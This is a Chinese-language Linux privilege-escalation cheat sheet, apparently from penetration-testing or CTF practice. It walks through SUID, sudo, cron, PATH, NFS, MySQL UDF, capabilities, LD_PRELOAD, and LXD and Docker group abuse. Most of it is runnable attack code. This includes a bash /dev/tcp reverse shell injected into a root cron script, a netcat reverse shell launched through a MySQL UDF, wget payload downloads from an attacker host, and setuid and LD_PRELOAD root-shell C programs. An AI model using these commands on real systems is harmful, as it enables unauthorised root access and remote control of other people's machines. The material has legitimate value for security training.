先导篇
Linux:
系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限
webshell的用户名为:www-data
Linux提权:
1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权
内核溢出CVE漏洞(web提权)
1.信息收集
当前主机的操作系统
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue
当前主机的内核版本
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"
2.内核漏洞筛选
1、MSF检测
use post/multi/recon/local_exploit_suggester
2、提权脚本(检测CVE漏洞提权)
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester(常用 ./sh文件)
https://github.com/jondonas/linux-exploit-suggester-2(pl文件)
https://github.com/belane/linux-soft-exploit-suggester(py文件)
3、综合脚本(检测所有可以提权的点)
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum
SUID权限&SUDO指令&版本漏洞(web&普通用户提权)
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。
#利用参考:
https://gtfobins.github.io/
https://github.com/carlospolop/PEASS-ng
将sh文件上传运行,找到有 suid 或者 sudo 的文件 参考上方文档利用
SUID&GUID:web&普通用户权限提权
手工查找命令
chmod +s 文件名 #赋予SUID权限
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
SUDO:普通用户提权
手工查找命令
cat /etc/sudoers
sudo -l
CVE-2019-14287,CVE-2019-13287
CRON&NFS&环境变量PATH
1.cron计划任务(web&普通用户)
原理:cron定时任务的权限是root,将反弹shell的执行代码写入定时任务中,然后等待触发
提升条件:Web或用户权限进行查看,任务文件可修改
cat /etc/crontab
cat /etc/script/CleaningScript.sh #查看脚本内容
ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限
echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh
#等待5分钟触发反弹shell
2.环境变量PATH(普通用户!)
原理:有SUID配置的文件A中执行了应用B,修改环境变量,使文件A运行到恶意文件
提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限
find / -perm -u=s -type f 2>/dev/null #找有SUID配置的文件(优先个人创建文件)
strings /opt/statuscheck #查看这个用户自己创建的文件
#在tmp目录创建一个curl文件
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
#将tmp目录加入path
export PATH=/tmp:$PATH
echo $PATH
#然后执行/opt/statuscheck,这个文件有suid配置
#用这个文件触发 /bin/sh 得到root权限
/opt/statuscheck
3.NFS(web&普通用户)
参考:Linux 提权-NFS 共享_nfs提权-优快云博客
NFS(网络文件系统)是一种在端口2049上运行的网络文件共享协议,由服务器和客户端两个组件组成。NFS服务器上创建共享目录,可以通过网络与其他Linux客户端共享文件。获得权限的用户可以将文件添加到共享中,并与有权访问该目录的其他用户共享。
默认情况下,每个NFS共享都会启用root_squash功能,以防止共享文件拥有root:root身份或特殊权限(即启用root_squash后,所有共享文件都会变成nobody:nogroup身份)。但是,如果启用了no_root_squash功能,文件可以以root身份存在,这就容易导致权限升级。
原理:将目标的NFS跟本地NFS目录进行同步,然后上传有SUID配置的文件,文件中执行bash
提升条件:NFS服务开启和web或用户权限进行利用
1、信息收集:
nmap 192.168.1.6
http://192.168.1.6/file.php?file=/etc/passwd
2、NFS服务利用
#枚举 NFS 共享,找到共享文件夹,名字为nfs
showmount -e 192.168.1.6
#nmap枚举,可以更详细的看见rwx权限
#nmap -sT -sV --script nfs* 192.168.1.6 -p111
#创建nfs文件夹,作为挂载点
mkdir nfs
#挂载共享文件夹nfs
mount -t nfs 192.168.1.6:/mnt/nfs ./nfs
#shell.php文件放在本机nfs文件夹中
#本地nfs文件夹中的文件,会同步到目标的nfs文件夹中
#给shell.php文件权限,然后尝试访问(目标网站有文件包含漏洞)
chmod 777 shell.php
3、配合SUID提权
注意gcc编译机器与目标机内核版本相似
写一个getroot.c文件
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}
gcc getroot.c -o getroot
cp getroot /root/nfs #复制bash到挂载目录下
chmod +s getroot #赋予suid权限
find / -perm -u=s -type f 2>/dev/null #再看看是否加入
cd /mnt/nfs # 目标机
./getroot # 目标机
数据库&Capability能力&LD_Preload加载
数据库提权(web&普通用户)
前提:webshell+MYSQL的root密码
原理:UDF提权,攻击者编写DLL或SO文件,将文件插入数据库表中,用数据库去执行文件.
1.信息收集
mysql -uroot -pR@v3nSecurity
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件位置
show variables like '%plugin%'; #查找插件位置
show variables like '%compile%'; #查看系统版本
2.根据收集的信息,编译EXO然后上传
#编译UDF.so
searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
python -m http.server 8080
#下载到目标上
python -c 'import pty; pty.spawn("/bin/bash")'
cd tmp
wget http://192.168.139.141:8080/udf.so
3.利用
use mysql;
# 创建xiaodi表
create table xiaodi(line blob);
# 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file('/tmp/udf.so'));
# 导出udf.so
select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 创建do_system自定义函数
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.139.141 6666 -e /bin/bash');
Capability能力(webshell&普通用户)
原理参考:https://www.cnblogs.com/f-carey/p/16026088.html
Capability是将SUDO的权限进行细分,通过能力有哪些权限设置进行利用
本机测试:
cp /usr/bin/php /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null #信息收集
WP参考:https://www.jianshu.com/p/60673ac0454f
LD_Preload加载(普通用户)
sudo -l #找到sudo文件,假设是LinEum.sh
#LinEum.sh 是一个用户自定义的文件
#我们不知道他的作用,无法直接用sudo提权
写一个shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
编译
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
SUDO提权
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh
Rbash绕过&Docker&LXD镜像&History泄漏
LXD容器
原理:
LXD是基于LXC容器的管理程序,当前用户可操作容器,理解为用户创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
lxd本地提权条件:
-已经获得Shell
-用户属于lxd组
#检测及利用:
./LinEnum.sh
https://github.com/saghul/lxd-alpine-builder
#创建容器,挂载磁盘,进入容器,进入目录提权
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
lxc init test test -c security.privileged=true
lxc config device add test test disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test /bin/sh
cd /mnt/root/root
cat flag.txt
Docker容器
原理:创建容器,将宿主机目录挂载到容器中的/mnt下
Docker本地提权条件:
1、已经获得Shell
2、用户属于docker组
#检测及利用:
./LinEnum.sh
#创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root
其他提权情况:
检测工具:GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.
Rbash绕过
参考:
https://xz.aliyun.com/t/7642
Rbash(The Restricted mode of bash),也就是限制型bash,在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作(cd等命令无法执行)
例:
python -m http.server 8080
wget http://192.168.1.3:8080/LinEnum.sh
awk 'BEGIN {system("/bin/bash")}'